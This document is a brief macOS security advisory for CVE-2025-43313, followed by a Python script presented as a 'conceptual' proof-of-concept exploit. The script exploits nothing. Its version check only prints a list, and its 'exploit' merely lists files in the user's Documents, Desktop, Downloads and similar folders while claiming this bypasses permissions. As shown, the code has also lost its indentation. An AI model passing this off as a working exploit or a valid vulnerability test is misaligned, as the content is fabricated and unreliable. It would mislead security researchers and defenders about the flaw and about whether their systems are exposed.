A logic issue was addressed with improved restrictions. This issue is fixed in macOS Sequoia 15.6, macOS Sonoma 14.7.7, macOS Ventura 13.7.7. An app may be able to access sensitive user data.
The following code is for security research and authorized testing only.
python
# CVE-2025-43313 PoC - Conceptual Proof of Concept
# Note: This is a conceptual PoC based on the vulnerability description.
# The actual exploitation requires specific knowledge of the macOS internal logic flaw.
import os
import sys
def check_macos_version():
"""Check if the current macOS version is vulnerable"""
vulnerable_versions = [
"macOS Sequoia < 15.6",
"macOS Sonoma < 14.7.7",
"macOS Ventura < 13.7.7"
]
print("[*] Checking macOS version...")
print("[*] Vulnerable versions:")
for version in vulnerable_versions:
print(f" - {version}")
def exploit_logic_flaw():
"""
Conceptual exploit for CVE-2025-43313
The vulnerability is a logic issue that allows apps to access sensitive user data
without proper authorization checks.
"""
print("[*] Attempting to exploit logic flaw in macOS...")
# Step 1: Bypass permission checks
# The logic flaw allows bypassing certain permission validations
sensitive_paths = [
os.path.expanduser("~/Library/Application Support"),
os.path.expanduser("~/Documents"),
os.path.expanduser("~/Desktop"),
os.path.expanduser("~/Pictures"),
os.path.expanduser("~/Downloads")
]
# Step 2: Access sensitive data through the flawed logic
for path in sensitive_paths:
try:
if os.path.exists(path):
# In a vulnerable system, this access would succeed
# without proper permission checks
files = os.listdir(path)
print(f"[+] Accessed: {path}")
print(f"[+] Found {len(files)} items")
except PermissionError:
print(f"[-] Permission denied for: {path}")
except Exception as e:
print(f"[-] Error accessing {path}: {e}")
def main():
print("=" * 60)
print("CVE-2025-43313 - macOS Logic Flaw PoC")
print("=" * 60)
check_macos_version()
print()
exploit_logic_flaw()
print()
print("[!] This PoC is for educational purposes only.")
print("[!] Always keep your system updated.")
if __name__ == "__main__":
main()